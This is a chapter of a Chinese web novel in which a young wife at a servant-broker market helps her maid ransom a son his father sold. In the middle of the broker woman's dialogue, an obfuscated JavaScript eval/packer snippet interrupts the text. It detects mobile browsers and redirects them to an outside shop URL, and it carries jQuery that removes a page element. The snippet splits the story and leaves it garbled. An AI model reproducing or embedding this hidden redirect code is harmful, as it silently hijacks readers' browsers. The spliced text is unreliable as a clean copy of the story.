12. 牙行买人①
作品:《抱歉,伤害前雇主的事我手到擒来》 马车不知行驶了多久,又拐过一个巷口,一股混杂着霉味、汗味和淡淡不易察觉的皂角味的气息透过马车窗帘传进来,江黎正好猛吸一口,呛得她直咳嗽。
她正咳嗽着,马车停了下来,外面的马夫低声说道:“渊大奶奶,牙市到了。”
江黎下了马车,脚刚沾地,巷口迎面吹来一阵风,方才那股复杂的味道更加浓郁,她忍不住抬手掩了掩鼻,抬眼望去——
这牙市足足占了整条小巷,左右两侧挤了七八家店铺,每家店铺门口都挂着‘XX牙行’发黑的木牌,木牌下面是大红褪成粉色像蒙了一层灰的灯笼。
站在巷口,已隐约能听到牙子们训斥的声音。
李婆子看出她的不适,小声提议:“要不,大奶奶您先去外面的铺子歇歇脚,我进去相看好了再带给您瞧?”
江黎摇了摇头,来都来了,她放下掩鼻子的手,“不用,我自己进去看看。”
就近进了一家名为“诚心牙行”的铺子。
进门便见一张八仙桌,漆红的桌面被算盘磨得凹凸不平,边角处更是露出木头原本的颜色,牙行的掌柜正坐在后面拨着算盘,瞧见她和李婆子进来,忙放下算盘起身迎上前来。
“二位客官,可是来挑人的?快坐,刚沏好的玉兰花茶。”说着往桌上的白瓷杯里倒了茶,又从桌子下抽出两本崭新的线装册子,将一本封面为“婢册”的册子递了过来。
李婆子接过婢册,交给江黎,低声道:“大奶奶您先看看,上面记着姑娘们的底细。”
江黎坐在长凳上,接过来翻看,就见册子上用小楷写着一行行字:
“春花,年十七,農戶女,無親眷,會針線茶飯,價五兩”
“夏竹,年十四,父亡母嫁,能灑掃洗衣,價三兩”
“秋果,年……”
字迹旁画着掌柜说的“已验过身家,干净可靠”的圆圈标记。
正看着,后院传来一阵细碎的脚步声,接着是锁链碰撞的声音及牙婆的大嗓门:“都给我规矩点!主家来看人了,谁要是敢乱说话,仔细我撕了你们的嘴!”
江黎抬眼,透过连接后院的小门,看到五六个木栅栏隔成的隔间,每个隔间都有四五个半大的孩子。
身上穿的洗得发白的衣裳勉强算是干净,头发倒是梳得整齐,只是皆无头饰光秃秃的。
只有最里间,有个小孩半长的头发乱糟糟的,脸上也不知去哪里抹了几抹黑,瞥到她的目光,往角落里缩了缩头埋地更低,一双眼睛倒是灵动,时不时往江黎的方向偷瞄上两眼。
江黎正要问话,就察觉到身旁的李婆子整个人都抖了起来。
还不等她问,李婆子就踉跄着往前冲,若不是江黎及时扶了她一把,险些绊倒在地。
她颤着手,指着最里面的隔间,江黎顺着看过去,那里面除了她先前注意到的孩子,还有个额角带伤的小子。
江黎疑惑:“怎么了?”
“铁柱……那隔间里的是铁柱!!”李婆子指节攥得发白,声音都带着颤音。
“错不了……错不了!他额头上那个伤是七日前帮我砍柴碰的,这个时辰他不是应该在学堂念书吗?怎么会到这牙行来?!”
李婆子再也忍不住,推开江黎的手,跌跌撞撞地冲向连接后院的小门,一边跑一边哭喊:
“铁柱!我的儿啊!你怎么会在这里?不是才给你交了束脩让你去念书?怎么会被卖到牙行来!”
牙婆听到动静,‘蹭蹭蹭’提着裙摆迎到小门,拦在李婆子身前,“你这老婆子疯了不成?敢跑到这来撒泼?!”
“撒泼?”她这话叫李婆子觉得自己听到了一个天大的笑话。
她眼眶通红,一把抓住牙婆的衣袖,一手指着最里面的隔间,气得浑身发抖,话都说不连贯,“那是……那是我儿子!你们把我儿子拐来卖了!还敢拦我?!还说我撒泼?!我今天就要带他回去!”
牙婆拨开她的手,顺着她手指的方向瞧了一眼,叉着腰冷笑:
“你说是你儿子就是你儿子?!咱们这的奴才都是从别处正经收来的,有文书为证,你再胡搅蛮缠,仔细我叫人将你送去衙门!”
说着,牙婆抬手就要喊人,江黎及时上前,“等等!”
她与李婆子相处时日虽不多,但也知道像谭家这种家世的仆人断不会这般不顾礼数。
江黎看向李婆子,又看了眼隔间里面自始至终低垂着头的孩子,沉声道:“李婆子你上前瞧瞧,他到底是不是你儿子。”
“哎……哎……”李婆子像是抓到了主心骨,应着就要上前,又被牙婆拦住。
“诶……”她冷着眼,从李婆子身上瞄到江黎身上,“你说看就看?“
瞧着她不依不挠的模样,江黎心中明了,从荷包里摸出一块碎银子丢过去,牙婆接过来在手里掂了掂,这才不再拦着,“咱可说好了,这可只许瞧,不许碰!”
李婆子忙不迭点头。
她吸了吸鼻子,靠近,蹲下身,手抓着木栅栏轻唤:“铁柱……铁柱……”
离得近了她才瞧见自己儿子衣袖下的手臂暗藏着鞭痕,一下子绷不住哽咽,柔声道:“铁柱别怕,娘来了。”
“你抬头看看,是娘啊……”
“铁柱……铁柱……”
江黎瞧了眼一直低着头的铁柱,又瞧瞧另外几个隔间里的孩子,知晓他们这是被打怕了,没有牙子发话,哪敢抬起来头来。
她上前一步,冲牙婆说道:“叫他抬起头来。”
这次牙婆倒是爽快地发了话,铁柱当即抬起头来,小脸上已满是泪痕,发现眼前的人真的是自己的娘亲,才惊觉方才都不是幻听。
铁柱满眼的不可置信,眼睛瞪得浑圆,迟疑了片刻,才爬上前,沙哑着喉咙轻唤了一声:“娘?……”
“哎,娘在呢,你怎么跑到这来了?!你爹呢?”
铁柱一听到李婆子问他“爹”去哪了,哭得更厉害了。
攥着木栅栏的指节泛白,哭到哽咽:“爹说你不要我了……说他吃酒的钱都没了……我还去念什么书,他去学堂把束脩讨回来,就把我给卖了……”
他一句话说的上气不接下气,却是叫在场的众人听明白了来龙去脉。
江黎看向牙婆,牙婆连忙摆脱责任,手中的帕子甩上了天,“我就说我们这的娃子都是正经收来的,那是他爹要卖他,这一手交钱一手交人,正经买卖,可怨不得我们!”
这话像是触到了什么开关,李婆子再也控制不住,哭喊着:“你爹他不是个东西啊!怎么就把你给卖了,我才给了他二两银子啊,怎么就又把主意打到你身上了!”
“娘……娘我不想在这……娘……”
“好!好!娘带你走!”
铁柱也哭喊着,一时间整个牙行都充斥着两人的哭声。
听到李婆子娘俩说的话,牙婆不乐意了,伸出五个手指头,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176218|196810||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
欸,这哪是你说带走就能带走的?!咱们把人收回来的时候那可是出了五两银子的,凭啥让你说带走就带走!”
江黎觉得这牙婆明摆着就是在坐地起价,“五两?方才我看那些会针线活的丫鬟不过三四两银子,这么个小子怎么就要五两?!”
牙婆冷笑一声,“这你别管,我说五两就五两,你买不买!”
这天文价,叫李婆子已听不进去其他,只喃喃着:“五两……五千文钱……我上哪去筹啊?!”
谭家虽是王京首富,可下人的月钱也是分三六九等的,李婆子虽不是最底层的小丫鬟,可也不是什么管事,这月钱不上不下,也就五百文,给铁柱爹那二两银子还是过年、新妇进门给的赏钱里攒下来的。
铁柱似懂非懂地听着‘五两银子’,小手紧紧攥着李婆子的袖角,眼泪又滚了下来:“娘……我是不是走不了了?牙婆昨天还打我……”
这话像根针似的扎进李婆子心里。
她猛擦了把脸上的泪痕,抬头时眼里满是豁出去的红,她转身膝盖一软就往江黎面前跪:“大奶奶,求您帮帮老奴吧!这银子老奴日后定加倍还您!”
她心里清楚,随主家来买丫鬟,这买丫鬟的钱是从公账里出的。
届时都要过了明面入了账,这把铁柱赎回来却是她的私事,自然走不了公。
她也知晓自家大奶奶是个乡下来的没什么银钱,可她实在是没办法了。
江黎脚步一顿,连忙上前扶住她:“李婆子,不必行此大礼,既是你的孩子自当是要赎回来的。”
话虽说得笃定,可她垂在袖中握着荷包的手却紧了紧——那只绣着梅花的荷包里放着昨日老太爷给的碎银子。
她不知道里面具体是几两,但总归是够买个丫鬟的。
今日买丫鬟的钱要她自己先垫付,再到管家那里对账,这赎回铁柱一下就要用去五两银子,方才她还扔给牙婆一小块……
原先她还盘算着多留些私房钱,日后好离开谭府的念头,瞬间像被戳破的泡泡,连半点念想都没了。
看出她眼中的犹豫,李婆子跪地磕求,“大奶奶,老奴知道之前对您多有得罪,日后我给您当牛做马,求您就帮帮老奴吧!”
江黎一怔,看着她磕红的额头,和后面隔间里嘴唇发白的孩子,深吸一口气,没再争论价格,将手中的荷包交了出去,“你看看这够不够。”
李婆子的哭声猛地顿住,像是不敢相信自己的耳朵。
她抬起满是泪痕的脸,目光死死盯着江黎递过来的荷包——绣工稚嫩的梅花荷包,边角已磨得发白,刺绣处的边角冒出线头,一看就是主人常带在身边的老物件。
良久。
李婆子才抖着手接过荷包,手中沉甸甸的重量叫她连声应道:“够……够……”
接连磕了几个响头,“多谢大奶奶,多谢大奶奶!”她身后隔间里的铁柱也下意识跟着磕头。
江黎见不得这个场面,又上前去扶,“你快起来吧。”
转头冲着牙婆说道:“这铁柱我买了,他的卖身契在哪?”
牙婆见有钱赚,忙叫前面的牙公将铁柱的卖身契拿了来,称走了五两碎银子,还余下二两。
今日她和李婆子二人出来是买丫鬟来的,这银子花完了,人却没带回去实在说不过去。
江黎颠了颠手中的荷包,看向铁柱隔间里那个脏兮兮的瘦猴似的孩子,问:“那个孩子多少钱?”

